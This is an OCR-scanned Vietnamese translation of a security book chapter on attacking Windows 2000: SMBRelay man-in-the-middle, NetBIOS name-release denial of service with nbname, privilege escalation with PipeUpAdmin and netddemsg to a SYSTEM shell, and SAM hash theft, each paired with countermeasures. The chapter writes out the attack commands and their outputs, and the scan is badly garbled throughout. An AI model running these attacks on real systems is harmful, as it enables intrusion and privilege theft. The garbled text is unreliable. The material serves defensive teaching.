cong doc 1ap cai dit phan C$ trén dia chi chuyén tiép.

D:\>net use *\\192.168.234.252\c$

Drive G: 1s now connected to \\ew2knt4\c$

The command completed successtully.

Pay la nhitng gi cé thé thay vé su két noi tir hé thong cia gidi tin tic trén ban
giao tiép ngudi-may chu SMBRelay:

+++ Relay connection for target GW2KNT4 received from
192.168.234.50:1044

+++Sent positive session response for relay target GW2KNT4

+++Sent dialect selection response (7) for target GW2KNT4

+++Sent SMB session setup response for relay to GW2KNT4

SMBRelay c6 thé khéng 6n dinh va két qua khong phai lic nao cling dung
hoan toan, nhung da thuc hien thanh cong, do r6 rang la mot dot tan cong pha
hoai. May trung tim di tiép cin hoan toan véi tai nguyén cda may cha dich
ma khong can nhic mot ngédn tay.

Puong nhién, khé khin cha yéu & day la: trudc hét phai thuyét phuc may
khach b1 tén cong xac nhan vo1 may chu MITM, tuy nhién, chung t61 dé ban
bac moét SD phuong phap dé glai quyét kho khan nay. Co thé gii cho may
khach b1 tan cong mdt tin nhin e-mail xau véi mot siéu lién két d3 duoc gan
san voi dia chi clia may chi MITM SMBRelay. Hodc thuc hién mot tan cong
doc hai ARP trong lai toan bd mot mang nao d6. Lam cho toan bo hé thong
trén phan dé phai xac nhin théng qua may chi MITM bat hop phap. Thao
luin su chuyén giao/cache ddc hai trong chuong 10.




@ Cac bién phap doi phé may trung tam SMB (MITM)

Cac bién phap cé vé rd rang véi SMBRelay 1a cau hinh Windows 2000 dé st
dung SMB Signing, hién duoc xem nhu sd hoa khach r’truyén thong phuc vu.
May SMBSigning duoc giol thiéu vol dich vu Windows NT4 16 3 va duoc
thao luan trong muc KB Q161372.

Nhu céi tén goi d3 goi v, xac 1ap Windows 2000 nhim s6 hda khach hoic
truyén thong phuc vu s& lam ky hiéu mat ma hoéa mdi khoi cla truyén thong
SMB. Chit ky nay co thé duoc mot may khach hoac may chu kiém tra dé dam
bao tinh toan ven va xac thuc cua mo1 khéi, lam cho may chu SMB khong
thich hop vé mit 1y thuyét (khong chic cé thue, phu thudce vao thuat toan dau
hieu da duoc su dung). Theo mac dinh Windows 2000 duoc cau hinh nhu:;

S6 hda truyen thong khach (khi co the) Duoc kich
hoat

Kénh an toan: mit m3 so dit liéu kénh an ninh (khi c6 thé) Puoc
kich hoat

Kénh an toan: S6 hoa dit liéu kénh bao mat (khi cé thé) Puoc  kich
hoat

Nhiimg xac 1ap do co trong cac chinh sach bao mat /cuc bd/ nhiing lwa chon an
toan. Vi vy, néu may chu hé tro viéc ky SMB, Windows 2000 s€ st dung no.
Pé ky SMB, ta ¢6 thé tuy v kich hoat cac tham s6 phu trong phan Security
Options.
Ky truyén thong may khach dang s6 (ludn ludn) Puoc kich
hoat
Ky truyén thong may chi dang s6 (ludn ludn) (nd s& ngin chin hién tuong
chuyén lai tir SMBRelay).
Puoc kich hoat

Kénh an toan: ky hoiic m3 ho4 s6 dit liéu kénh an toan (luén luén) Puoc
kich hoat
Kénh an toan: yéu cau phim chuyén manh (Windows 2000 hoic méi hon)
Puoc kich hoat
Chu ¥ nhitng xac 1ap nay co thé gy ra nhiing truc tric vé lién két véi cac hé
thong NT4, thim chi SMB signing di cé thé lam viéc trong cac hé thong do.
Tuy nhién, nhu ching ta di thay, SMBRelay hiéu chinh nham v6 hiéu héa
SMB Signing va s€ co thé pha v& nhitng xac 1ap nay.
Do cac dot tan cong SMBRelay MITM la nhiing két nm hop 1é chu yéu,
khong co cac muc phat 160 chuyén dung c‘Ie thong bao tin cong dang xay ra.
Péi véi may khach bi tin cong, nhitng van dé vé kha nang lién két c6 the ra
tang khi ket ndi v6i may chi SMBRelay gian 1an, bao gdom 151 he théng s6 59,

“mot su c6 mang ngc:al du tinh.” Nho SMZBRelay viée két noi s& thuc su
thanh c¢ong , nhung no tu tach ro1 voi su két ndi ciia khach va tin tic.



Tan cong IIS 5

Néu bat ky mot vu tdn cong nao ngang hoic vuot qué kha ning cia NetBIOS
va SMB/CIFS trong bé déem hién thoi, phuong phap tham nhap may chu thong
tin Internet (IIS)sé€ ting lén vo 55? mot su tro giup dang tin cay da duogc tim ra
trong céc hé thong NT/2000 két nbi Internet. Cac sin pham may chi Windows
2000 da duoc cair dat IIS 5.0 va dich vu Web kich hoat mac dinh. Mac du
ching ta s€ tim hiéu chi tiét cac thd thuat tén cmng Web trong chuong 15,
chung to1 cho rang ban can phal biét duong tie:p can quan trong dé ban khong
quén ctra vao hé diéu hanh rat c6 thé dang & trang thai ma.

Chu ¥: kiém tra toan bd cudén Dot nhap Windows 2000 dé biét cac hinh thirc
tan cong va nhitng bién phap do1 pho chu dong.

Tran bo déem tir xa
Trong chm:mg 5 chung to1 thao luan hién tuong tran b6 dem trung gian Win 32
va trich dan mot so ngan dé cac ban doc thém veé van dé nay. Hien twong tran

bo dém nguy hiém nhat trong Windows 2000 la IIS co lién quan: tran bo dém
Internet Printing Protocol ISAPIDLL (MSO01-123), thanh qua Index server

ISAPIDLL (MS01-123), va tin cong thanh phan phu Front Page Server

Extensions (MS01-035), nhitng hién tuwong nay duoc trinh bay trong chuong
15,

KHUOC TU DICH VU

Do hau hét cac vu tan cong (DoS) NT dugc sura tam bo1 NT4 Service Pack 6a,

Windows 2000 tuong d6i manh & diém nay. Khong co gi la khmng thé bi tan
cong vol1 DoS, mac du vay, chung to1 s€ thao luan trong phan tiép theo. Phan
trinh bay vé tan cong Windows 2000 DoS cua chung to1 duoc chia lam hai
phan tan cong TCP/IP va tan cong NetBIOS.

® Tan cong Windows 2000 TCP/IP DoS

Pay la mot thuc té trén mit tran Internet - sit dung qua tal. Win2000test.com
nhan thay rang Internet da b1 sir dung qua kha niang toi uu cua no, mac du
nhiing qui dinh vé thir nghiém d3 tranh hoan toan cac vu tan céng DoS. May
chii trong van dé nay gap phai cac dot tan cmng manh mé& bo phan IP vuot qua
kha ning ctia may chua dé tap hop lai cac go1 tn, cling nhu cac dot tan cong ol’

SYN déd xam nhap vao hang cua ngan xép TCP/IP cua cac lién két nira mé.
(xem chuong 12 dé biét thém chi tiét)

@ Cac bien phap doi pho TCP/IP DoS

Céu hinh cac cong cu cong vao mang hodc phan mém bao vé nhim déi hudng
hau hét su ¢6 néu tat ca cac su [¢ déu khong phai do k§ thuat do gay ra. (xem
chuong 12 dé biét thém chi tiét.) Tuy nhieén, nhu chung ta van noi, ciu hinh
cac may chu ca nhan de chéng lai cac dot tan cbng truc tiép la mot ¥ tudng tot
trong truong hop mot tang bao vé bi hong.




Phan 1én do kinh nghiém c6 duoc tir Win2000test.com, Microsoft c6 thé thém
mot s6 khoa Registry vao Windows 2000 phim nay co thé duoc st dung dé
lam viing chic thém ngin xép TCP/IP chong lai tan Cﬂﬂg DoS. Bang 6-3 trinh
bay ngdn gon cach thic don vi Win2000test.com cau hinh DoS-related
Registry xap sép trong may chi. (bang nay duoc phéng theo trang tring cia
Microsoft tr kinh nghiém tir Win2000test.com, ban cé thé truy cép trang:
http:// www.microsoft.com/security, cling nhu xem cac thong bao ca nhan vdi
don vi Win2000test.com)

Khoa trong HKIL.M\ Chi Mieéu ta

Sys\ $0

CCS\ yéu

Service cau

Tcpip\parameter\SynAtta | 2 Théng s6 nay lam cho TCP hiéu chinh
ck Protect su tiép phat cua SYN-ACKS dé tir do

viée két noi phan tng lai thol gian chét
nhanh hon néu mét tan cong SYN trong
tién trinh xay ra. Su xac dinh nay dua
tren TcpMaxPortsExhausted hién thoi,
TcpMaxHaltOpen, va
TcpMaxHalfOpenR  etried. Mot trong
hai chi so6 cung cap su bao ve tot nhat
chﬂng la1 cac tan cong SYN, nhung co
thé gay ra truc trac ve lien két cho ngu‘m
sur dung d6i véi nhung duong dan co
goc tré cao. Ngoai ra, 0 cam lu'a chon
dudi day sé& khong lam viéc néu thong
s6 dé dwoc cai dit cho 2 chi s6.
Windows cé thé thay doi ty 1& (RFC
1323) va cac théng s6 TCP cau hinh
moi bd diéu hop (RTT ban dau, kich c&

Windows).
Tcpip\parameter\Enable | 0 Khi thong s6 nay la 1, TCP dugc phep
DeadGWDetect thue hién viée 1o tim cong vao vo hieu,

lam cho no chuven sang cﬂng vao sao
lvu néu mot sO két nbdi gip phai kho
khan. Cac c:::nng vao sao luu co thé duoc
dinh dang trong phan Advanced ctia hop
d6i thoai cau hinh TCP\IP trong
Network Control Panel. Car dat vao chi
s6 0 vi thé tin tic khong thé chuyén doi




sang cac {:Dng vao duoc do hoa kém.

Tcpip\parameter\Enable
PMTUDiscovery

Khi thoéng s6 cai dit la 1 (ding),TCP
hiéu chmh dé ro tim ra don vi truvan
dan t6i da (MTU, hoic kich ¢& goéi tin
I6n nhit) qua duong din téi moét maéy
chu tir xa. Bing viéc phat hién ra Path
MTU va gio1 han cac bo phan TCP ¢
kich ¢& do, ICP cé thé loai trir viéc
phan doan ¢ cac cau dan doc theo duong
dan két ndi mang vol1 cac MTU khac
nhau. Viéc phin doan c6 dnh huéng rat
lon dén théng luong TCP va su nghén
mach. Cai dat thong s6 0 khién cho mot
MTU 576bytes duoc st dung cho tat ca
cac lién két ngoai trir may ch & mang
cuc b0 va ngdn chian gio1 tin tic ep
MTU vo1 mét chi s6 nho hon trong nd
luc bt ngan }{ep lam vi€c qua suc.

Tcpip\parameter!
KeepAliveTime

300,0

(5
phut)

Thong s6 nay kiém soat viec TCP hieu
chinh de x4c minh ring mot lién két
héng van chua duoc phat hién do viec
gm mot go1 tm dang ton tai. Néu hé
thc:ng tr Xa van phat huy hlE:ll luc, no
thira nhan viéc truyen dan van dang hoat
déng. Cac goi tin dang ton tai sé khong
duoc mat dinh gui di. Pic diém nay cé
the dwgc thuc hién nho' mot img dung vé
lién keét. bo la su X3p SEp chung, ung
dung cho tat ca cac mach ghep nodi, va
c6 thé qua ngin cho cic bd diéu hop st
dung dé quan li hoac cong nhan tinh
trang du thua.

Tcpip\parameter\Intertace
S

<interfaces>
NoNameReleaseOnDema
nd

0(hén
g)

Thoéng s6 nay xac dinh liéu may tinh cé
phat ra tén NetBIOS cua no hay khoéng
khi no nhan duoc moét lénh Name-
Release tir mang. Mot chi s6 0 bao vé
khoi cac tan cong Name-Release nguy
hiém.(xem Microsoft Security Bullentin
MS00-047). Chua 15 1a mot tan cong cé
thé c6 anh huéng gi, néu cé thi anh
huéng d6i véi mach ghép ndi noi




NetBIOS/SMB/CIFS dé b1 v6 hiéu hoa,
nhu di thao luan trong phan dau cua

chuong.
Tcpip\parameter\Interface |0 Théong s6 nay kiém soat kha ning
s<interfaces> Windows NT/2000 c¢o6 hiéu chinh dé
PerformRouterDiscovery phat hién router bing RFC 1256 trén co

s& qua mach ghép nbi hay khong. Mot
chi s6 0 ngin chin cac vu tan coéng nguy
hiém router khong that. Su dung chi sO
nay trong Tcpip\parameters\Adapters dé
tinh toan xem chi s6 nao cta mach ghép
noi la phu hop véi bd diéu hop mang.
Bang 6-3. Gidi thiéu thiét 1lap NT/2000TCP/IP Stack nhim han ché cac vu
tan cong Khude tir dich vu (Denial of service)

CANH BAO:Mbt vai chi s6 trong bang 6-3, nhu SynAttackProtect=2, c6 thé
qua linh hoat trong mot var mor trwuong. Nhitng xac lap do duoc trinh bay
nhim bio vé mét may chu Internet c6 kha ning tai cao.

Xem muc KB Q142641 dé biét thém chi tiét vé viée xip sép SynAttackProtect
va cac thong sb nay.

® Tan cong NetBIOS DoS

Thang 6 nam 2000, Sir Dystic of Cult of the Dead Cow (http://
www.cultdeadcow.com) d3 thong bao ring: giri mot tin nhin “NetBIOS Name
Release” tor NetBIOS Name Service (NBNS, UDP 137) trén mot may
NT/2000 budc nd phai lay tén d6i lap vi vay hé thong sé khdng con kha ning
str dung no nita. Piéu nay giy can trd 16n cho may trong viéc tham gia mang
NetBIOS.

Cung luc do, Network Associates COVERT Labs (http:// www.nai.com) da
phat hién ra rang mot tin tic co thé gt cho Net BIOS Name Service mot tin
nhin NetBIOS Name Conflict ngay ca khi may tiép nhan khong nim trong
qua trinh dédng ky NetBIOS Name. Piéu din dén viéc lay tén dbi lap, va khong
th@ st dung duoc nita, can trg lon viéc tham gia vao mang NetBIOS cua hé
thong.

Sir Dystic d3 m3 hda mot wu thé duoc goi 1a nbrname kha ning nay cé thé g
mot go1 tinNBNS Name Release to1 tat ca cac muc nhap trong bang NetBIOS
name. Day la mét vi du vé cach s dung nbname cho may chi don DosS.
Trong Windows 2000, truéc hét ban phai vd hiéu héa NetBIOS doi vdi
TCP/IP dé ngin chin su xung dot v6i dich vu NBNS, dich vu thong thuong ¢
thé doc nhat stt dung UDP 137. Sau dd, cho chay nbname nhu d3 trinh bay sau
day. (Dit 192.168.234. 222 véi dia chi IP ctia may chi ban muén vao DoS)
C:\>nbname/astat 192.168.234. 222 /conflict



NBName v2.51 — Decodes and displays NetBIOS Name traffic (UDP 137),
with options

Copyright 2000: Sir Dystic, Cult of the Dead Cow -:/:- New Hack City

Send complaits, 1deas and donations to
sd@cultdeadcow.com/sd@newhackcity net

WinSock v2,0 (v2.2) WinSock 2.0

WinSock status: Running

Bound to port 137 on address 192.168.234.244

Broadcast address: 192.168.234.255 Netmask: 255. 255.255.0
¥k NBSTAT QUERY packet sent to 192.168.234. 222

waiting for packets...
** Received 301 bytes from 192.168.234. 222.137

via local net at web jun 20 15:46:12 200

OPCode: QUERY
Flags: Response Authoratative Answer

Answer][0]

& <00>
Node Status Resoure Rocord:
MANDALAY <00> ACTIVE UNIQUE NOTPERM INCONFLICT
NOTDEREGED B-NODE
MANDALAY <00> ACTIVE GROUP NOTPERM NOCONELICT
NOTDEREGED B-NODE
k*%%* Name release sent to 192.168.234. 222.
(etc.)
Khoa chuyén ddi /ASTAT truy luc trang thai bo diéu hop tir xa tir nan nhan,
va /CONFLICT gut1 cac go1 tin tach tén cho tung tén trong bang tén tu xa cua
may, cac may phan Ung lai yéu cau veé trang thai bd diéu hop. Mot tin tic cé
thé tan cong DoS trén toan bd mot mang ludi co st dung khda chuyén doi
QUERY (tén IP) /CONFLICT/NENY (tén_or_tep).
May chu khi bi tan cﬂng cé thé co nhung triéu chung sau:

o Xuit hién su ¢ kha nang lien két mang theo gial doan

e Nhimg cong cu nhu Network Neighborhood hoat dong

e (Cac tuong ung lenh net send khong phat huy tac dung

e May chu b1 tan cong khong xac nhan gia tr1 cac dang nhap I'I.‘llEIl

e Khong thé tiép can cac tai nguyén dung chung va mét so dich vu

NetBIOS co ban nhu giai phap ten NetBIOS.
e L énh nbtstat-n cé thé hién thi trang thai “Conflict”(Xung dot) bén canh
dich vu tén NetBIOS. cu thé nhu sau:



Local Area Connection
Node IpAddress: (192.168.234. 222) Scope Id: []

NetBIOS Local Name Table

Name Type Status
MANDALAY <00> UNIQUE Contflict
MANDALAYS <00> GROUP Registered
MANDALAYS <I1C> GROUP Registered
MANDALAY <20> UNIQUE Contlict
MANDALAYS <lE> GROUP Registered
MANDALAYS <1D> UNIQUE Contlict
.. _MSBROWS <01> GROUP Registered
MANDALAYS <1B> UNIQUE Contlict
Inet~Servics <l e GROUP

Registered
IS~MANDALAY.. <00> UNIQUE Contflict

@ Cac bién phap doi pho NBNS DoS

Hiy d6 16i cho IBM (NetBIOS di duoc phat minh). NetBIOS 1a mét dinh wéce
chwa duoc xac minh dd duoc tng dung. BO phan dinh vi cua Microsoft da tao
ra phim Registry, phim nay dirng viéc thira nhan tin nhin Name Release ciia
NetBIOS Name Service. BO phan dinh vi cua Name Conflict chi duge dung dé
thira nhan tin nhin NBNS Name Conflict khi dang trong giai doan ding ky.
Trong thdi gian nay méay van c6 thé bi tin cdng. Cac bd phan dinh vi va cac
thong tin khic c¢6 thé duwoc cip nhit trén trang web: http:/
www.microsoft.com/technet/security/bulletin/MS00-047. asp. Giai1 phap doi
ph6 tam thoi nay khéng nam trong SP1, vi vay nd c6 thé duoc 4p dung cho ca
he tha::mng treoc va sau SP1.

L& duong nhién, giai phap lau dai la phal chuyen d1 tr NetBIOS trong cac mm
trrong ma tinh trang pha r6i c6 thé Xay ra. Tét nhién, phai luon dam bao rang
UDP 137 khong thé bi tlE:p can tur bén ngoai khu vuce bao vé.

LEO THANG DAC QUYEN

Mot khi gidi tin tic d3 tiép cAn mot may chu trong hé thong Windows 2000,
ngay lap tuc chung s& tim cach dé c6 duoc dic quyén hop phap: Administrator
account. May man la Windows 2000 c6 kha nang chong cu lai tot hon cac
phién ban trudc dé khi bi tan cong. (rat it khi nd roi vao tinh trang ré bi tan
cong nhu trudc nhu: st dung bién phap doi phé tam thoi cho admin va
sechole). Rui ro 1a & chd, mot khi gidi tin tic gianh duoc dac quyen dang nhap
twong tac, kha ning ngin chin leo thang dic quyén la rat han ché. (ding nhip
twrong téc s& duoc mé rong nhiéu hon khi Windows 2000 Terminal Server trd
lén phd bién trong viéc quan Ii tir xa va chi phéi kha ning x& li.) Sau day
chung ta s€ xem xet hai vi du




® Du bao duomg din tén ma hoéa la SYSTEM

Tinh  phé  bién:
4
Tinh  gian  don:
7
Tinh  hiéu  qua:
10
Muc dé rii  ro:
7

Puoc kham pha bo1 Mike Schiffman va gui cho Bugtraq (ID 1535), kha néng
du doan vé viéc ché tao ky hiéu 6ng dan c6 tén khi Windows 2000 bit dau hé
théng dich vu (nhu Server, Worksation, Alerter va Chme:}k déu duoc nhap
vao duol truong muc SYSTEM) duoc kham pha tur diem yéu trong leo thang
dac quven cuc bd khi. Trude khi mdi dich vu duwoc bat dau, mét ky hiéu ong
dan co tén canh may chu duoc tao ra vor mot chudi tén co thé du doan duoc.
Chubi nay cO thé thu duoc tur khoa Registry
HKLM\System\CurrentControlSet\Control\ServiceCurrent.
Vi vay, bat ky ai sit dung Windows 2000 di duoc nhﬁp twrong tac (bao gdm ca
nhiimg nguo1l su dung Terminal Server tu xa ) cé thé du doan tén cla mot
chudi ky hiéu 6ng din c6 tén. Minh hoa va ap dung ndéi dung an ninh cta
SYSTEM s€ dugc trinh bay vao lan sau. Néu mot m3 tuy chon nao do duogc
cai dit vao ky hiéu 6ng dan, né s& vin hanh véi cac dic quyén SYSTEM, lam
cho né chi c6 kha ning thuc hién d6i véi hé thong cuc bd (vidu: bd sung thém
nguo1 sir dung hién tho1 vao nhom Administrator).
Khai thic diém yéu trong du doan ky hiéu 6ng dan cé tén la tro choi cla tré
em khi st dung cong cu PipeUpAdmin tir Maceo. PipeUpAdmin bd sung
trrong muc nguoi su dung hien thor vao nhom Administrator cuc bo, nhu
duoc trinh bay vi du duwoi day. Vi du nay thura nhan Wongd nguoi st dung la
da duoc xac minh vo1 viec tiép can tuong tac voil ban giaﬂ tiép nguol-may
bang léenh. Wongd la mot thanh vién cua nhom diéu khién Server Operators.
Tru’c:rc hét, Wongd kiém tra hoi vién cua nhom Administrators cuc bd nim moi
quyén luc.
C:\>net localgroup administrators
Alias name admuinistrators
Comment administrators have complete and unrestricted access to the
Computer/domain

Members



Administrator

The command completed successtully.

Sau do, Wongd tu nhap vao Administrators, nhung lai nhan duoc thong bao tw
chdi tiép can do thiéu dic quyeén.

C:\>net localgroup administrators wongd/add

System error 5 has occurred

Access 1s dinied

Tuy nhién, anh hung wongd chwa bi tin cong. Anh ta tich cuc tai
PipeUpAdmin vé tir trang web (http:// www.dogmile.com/files), va tmg dung
C:\>pipeupadmin

PipeUpAdmin

Maceo<maceo (@dogmile.com>

© Copyright 2000-2001 dogmile.com

The ClipBook service 1s not started

More help 1s available by typing NET HELPMSG 3521.

Impersonating: SYSTEM

The account: FS-EVIL\wongd

has been added to the Administrators groups

Sau do, Wongd chay 1énh Net Localgroup va tu xac dinh dung vi tri ma anh ta
muon.

C:\>net localgroup administrators

Alias name Administrators
Comment Administrators have completed and unrestricted access to
the
Computer/domain
Members
Administrator
Wongd

The command completed successtully.

Hién tai, tat cd nhiing gi wongd phai thuc hién dé tin dung dic quyeén cta
Administrator twong dwong 1a thoat va ding nhép lai. Nhiéu truong hop khai
thac su leo thang dicquyén phai cé yéu cau d6, vi Windows 2000 phéi xay
dung lai m3 théng bao tiép cin clia ngudi sit dung hién thoi nhim b sung
thém SID cho thanh vien nhom mo1. Ma thong bao co thé duoc st dung 1énh
go1 API mo1, hodc don gian bing cach tit may roi sau dé xic nhén lai. (xem
phan thao luin vé mi thong bao tai chwong 2).



Chu v cong cu PipeUpAdmin phai duoc chay trong pham vi nguol st dung
INTERACTIVE. (co nghia la ban phai nhap vao hé ta1 ban phim vat ly, hodc
théng qua mét trinh tién ich diéu khién tir xa véi trang thai INTERACTIVE,
vi du nhu théng qua Terminal Services). Piéu nay ngin chin PipeUpAdmin
duoc chay qua cac trinh tién ich diéu khién tir xa c4c trinh tién ich nay d3 xuat
hién ma khong co INTERACTIVE SID trong ma thong bao.

@ Sita chita kha ning dw doan ky hiéu ong dan c6 tén

Microsoft d3 dua ra mot gidi phap Ung phd tam thoi nhim thay d61 viée
Windows 2000 Service Control Manager (SCM) tao ra va phan bb ky hiéu
ong dan nhu thé nao. Ban c6 thé tim hiéu thém chi tiét tai dia chi: http:/
www.microsoft.com/technet/security/bulletin/MS00-053. asp. Giai phap ung
pho tam thoi nay khong ndm trong Service Pack 1 va vi thé cé thé duoc ap
dung cho ca may chu trudc va sau SP1.

Tat nhién, nhitng dic quyﬁ:n ddng nhap tuong tac da b1 gi01 han to1 muc toi da
cho bat ky mot hé thc:ng nao cé chua dit liu dé bi tan cdng do viéc tan dung
nhu vay tré nén dé dang hon nhiéu mot khi g101 tin tdc dat duoc vi tri nguy
hiém d6. Dé kiém tra viéc ding nhip twong tic ngay dudi Windows 2000,
chay applet Security Policy (cuc bo hodc nhom), tim nut chi dinh chinh sach
cuc bd\ quyén st dung, va kiém tra quyén Log On Locally dwoc dinh hinh nhuw
thé nao.

Windows 2000 cé cai méi lanhiéu dic quyén hién da co ban sao cho phep cac
nhém cu thé hoac nguol su dung khong co quyen do. Trong vi du nay, ban co
thé st dung quven Deny L:}g-::-n L{:}cally nhu’ sau:
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Chu y:Theo mic dinh, nhom Users va trwong muc Guest ¢o quyén Log On
Locally trong Windows 2000 Professional va cac may chu Windows 2000
khong két néi. DC han ché hon do chinh sach Default Domain Controllers
(Mach diéu khién mién mic dinh) gin lién v4i sén pham. (mic du tat ca nhém
Operator may déu c6 quyen d6.) Ching toi dé nghi thao g& Users va Guest
trong bat ct trwong hop nao va can nhic k§ ludng nhitng nhém nao khéac c¢é
thé mat di dic quyén do.



® Vi pham truy nhap xuyeén tram cong tac

Tinh phé bién: 4
Tinh gian don: 7
Tinh hiéu qua: 10
Murc do rui ro: 7
Hau hét cac quan tri Windows khong chap nhan céc tram cdng tac trong Windows, c6 1
day la mot trong nhiing van dé kho hleu nhat trong chuong trinh Windows. Mo hinh an
mnh Windows 2000 xac dinh su phan cap cac conteno dé xac lap cac duong bién an ninh
frong cac qua trinh. Su phan cap dé, tir 16n nhat dén nhd nhat nhw sau; Phién, Tram cc:rng
tac, va man hinh. Phién bao gom mot hoac nhieu tram cong tac, nhitng tram cong tac nay
bao g-::nm mot hodc nhiéu man hinh. Theo thiét ké, qua trinh xtt 1y bi han ché chay trong mot
tram cong tac, va cac chuoi trong qua trinh xi l}f chay trong moét hay nhiéu man hinh. Tuy
nhién, do mot 161 trong khi thwe hién, do khong phai la truong hop cua phien ban dau tién
cua Windows 2000. Tmng cac truweong hop déc biét, mot qua trinh dac quyén thap hon clmy
trong mot man hinh co the doc duoc thong tin cua mot man hinh ¢ tram lam viéc khac co
cung Phién. Két qua la ngm:n su dung b1 anh huong dang nhap vao Windows 2000 ¢ the
twong tac voi cac qua trinh ¢6 Phién giong nhau. (c]m y: thao tac nay khcmg cho phép nhiéu
nguol tuong tac vol dang nhap Termunal Server cua nguoi st dung khac vi ho co Phien tach
ro1 nhau.) Ho cung c6 the tao ra mot qua trinh trong tram lam viec khac. Tuy nhien, no
khong 16 1a ho ¢6 thé thue ligén thao tac nao tham chi qua trinh da duoc tao ra co dac quyéen
SYSTEM. Miac du vay, rat it trrong hop gio1 tin tac co the doc duoc man hinh va dit liéu
vao ban phim.

@ Bién phap dm phé véi su co Workstation

Do dav 14 mot su cb ai cling phai thira nhin trong viéc thuc hién thiét ké cla
Microsoft, ching toi phéi dua vao phuong thirc sira tam thoi dé khic phuc.
Mot phuong phap stra tam tho1 duoc luu trit trong mo hinh an ninh man hinh
vi vay no chia tach thich hop cac qua trinh trong cac man hinh khac nhau tai
dia chi: http:// www.microsoit.com/technet/security/bulletin/ms00-020. asp.

Phuong phap nay co trong SP1.
Mot cach glal qu'i;et khac la glm han dac quven dang nhap tuong tac ( Xem

thém chi tiét trong phan du doan ong day dan co tén )

® Yéu cau NetDDE chay véi tw cach 1a SYSTEM

Tinh  phé  bién:

6

Tinh  gian  don:
7

Tinh  hiéu  qua:
10

Muc do rui ro:
8




Thang 2 nim 2001, DilDog cta @stake dd phat hién ra mot bd phan dé bi tan
cdng trong dich vu trao doi dit liéu dDﬂg(NetDDE) trong mang Windows
2000, dich vu nay cho phép mét may khach cuc bo co thé tuy v thuc chay bat
ky mot 1énh nao véi dic quyén SYSTEM. NetDDE la mot cong nghé g:up cho
cac ung dung dung chung dit licu thong qua “phan dung chung tin ciy.” Mbt
yéu cau cé thé duoc dua ra thong qua phan dung chung tin ciy dé thuc hién
cac img dung ma co theé chay trong pham vi chuong muc SYSTEM. @stake
dua ra mat ma nguan kiém tra khai niém cho mmt cong cu duoc goi1 la
netddemsg ma tu dong hod k¥ thuit leo thang dic quyén.

Loi Khuyén: Mat mai ngu-::}n netdde.cpp do (@stake dwua ra doi hoi
nddeap1.lib phai duoc két ndi trong quaé trinh bién dich. Trong Visual C.., thuc
hién yéu cau dé dudi cdc mddun thu vién/Object/Link tab/Settings/Project, bo
sung thém mot dau cach, va sau d6 danh nddeapi.lib.

Dé chay san phﬁm nay, dau tién khéi dong dich vu NetDDE néu chua duoc
khéi déng. Hau hét cac trrong muc nguoi st dung khéng cé dic quyén khéi
chay mot dich vu nhu thanh vien truong muc Operator duoc cai dat san. Ban
c6 thé khai chay dich vu NetDDE tir dong 1énh, hodc ban ciing ¢6 thé s dung
dich vu MMC cai dit nhanh bang cach chon lénh Run va bit dau tép
SErvices.msc.

Néu sau d6 ban chay céng cu netddemsg ma khong c6 cac s 1énh, no sé& nhic
ban ct phap chuan. Bay gio ta cé thé chay netddemsg va xac dinh phan dung
chung dang tin cdy bang lua chon ddi s6 -s, cfing nhu 1énh dwoc thuc hién.
Sau do, tép tin cmd. exe duoc dinh rd va mét trinh tién ich bing lénh s& duoc
mo.

C:\>netddemsg — s Chat $ cmd. exe

Ngay sau khi thuc hién lénh, mot ban giao tiép nguol-may bﬁgg lénh s€ duoc
bat 1én chay trong pham vi cua muc he thong. Ban co thé chay cong cu
Resource Kit Whoami trong trinh tién ich do dé thay ring né thuc su chay
trong pham vi cua muc he thc:ng

Chu y rang do6i 1ap véi san phamviéc tin dung PipeUpAdmin da thao luan
trong phan trroc, netddemsg khong do1 hoi gion tin tac phai tat may dé lam
mo1 ma thong bao cua chung. Trinh tién ich khdr chay viéc st dung
netddesmg chay trong pham vi cua muc SYSTEM, ngay tu trinh tién ich dang
nhap hién thoi.

Tuy nhién, giong nhu PipeUpAdmin, netddemsg phai duoc chay trong pham
vi nguol su dung INTERACTIVE. (co nghia la ban phai nhap vao h¢ tai ban
phim vt I¥, hoic thong qua mét trinh tién ich diéu khién tir xa voi trang thai
INTERACTIVE, vi du nhu thong qua Terminal Services.)



@ Bién phap doi phé hién tuwgng leo thang NetDDE.

Cling nhu kha ning du doan ky hiéu ong dan co tén, véi mét thiéu sét trong
thuc thi mrc hé thong nhu vay, bién phap d6i phé duy nhat la dwoc Microsoft
sua tam ( dia chi: http: //www.microsoft.com/technet/treeview/detault. asp?
url=/technet/security/bulletin/MS01-007. asp, co luu trit thong tin vé gidi phap
ung pho tam tho1.). Chung to1 sé€ trinh bay mot s6 bién phap d61 pho voi hién
turong leo thang dic quyén néi chung trong phan tiép theo.

Cling can cht ¥ y thém la kho1 dong dich vu NetDDE cé thé bi cén tré neu kiém
toan co thé hoat dong duoc, mot cach tdt 1a kiém tra xem c¢6 ai d6 ¢d gang sur
dung netddemsg can tr& ban hay khong.

PANH CAP THONG TIN

Mot kh1 da co duoc Administrator-trang thai twong duong, giol tin tic sé€ tim
cach nhim chiém doat nhiéu thong tin hon nhitng thong tin nay cé thé la don
bay cho cac vu tan cong khac.

Khai thac thong tin mat khau Windows 2000

Gid1 tin tic s& rat vui mung khi biét duoc 1a LanManager (LM)hash duoc luu
trit bing cach mic dinh trong Windows 2000 d& cung cip su twong thich
nguoc vol cac may khach khong Windows NT/2000. phuong phap mac dinh
nay la nguyeén nhan chu yeéu cua cac dlem tan céng duoc thdo ludn trong
chuong 5 cung vo1 phuong phap gial quyét. Tuy nhién, véi mot phuong phap
d61 phé glan don, k¥ thuat tap hop password hash tieu chuan la rat han che
b1 mot so dac tinh mo1 cua Windows 2000, chu yeu la SYSKEY. Nhung rat
han ché nhu chung ta co thé thay.

@ Chiém doat SAM

Tinh  phé  bién:
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Trong bd diéu khién ving ctia Windows 2000, password hashes duoc luu trit
trong Active Directory(%owindir%\NTDSntds.dit). Vo1 thiét b1 mac dinh cac
d6i twong da duoc cai dat, tep nay chlem 10 megabytes, nim trong mot dang
thuc bl an, vi thé gidi tin tic khong mubn g& bé tép nay dé phan tich ngoai
tuyen

Trong bd diéu khién phi linh vuc (DCs), tép quan 1y muc an toan (SAM) van
la muc tiéu lwa chon, va viéc chiém doat SAM duoc thue hién chinh xac nhu



duoc thuc hién du’m NT 4. Tep SAM van duoc luu trit trong % gcu:: he th:::ng
%\ heé th-:::-ng 32\ cau hinh va van bi OS khoéa. Khéi déng vdéi DOS va chiém
doat SAM van cé thé duoc thuc hién trong hé thong tép tin NTFS v.5 méi
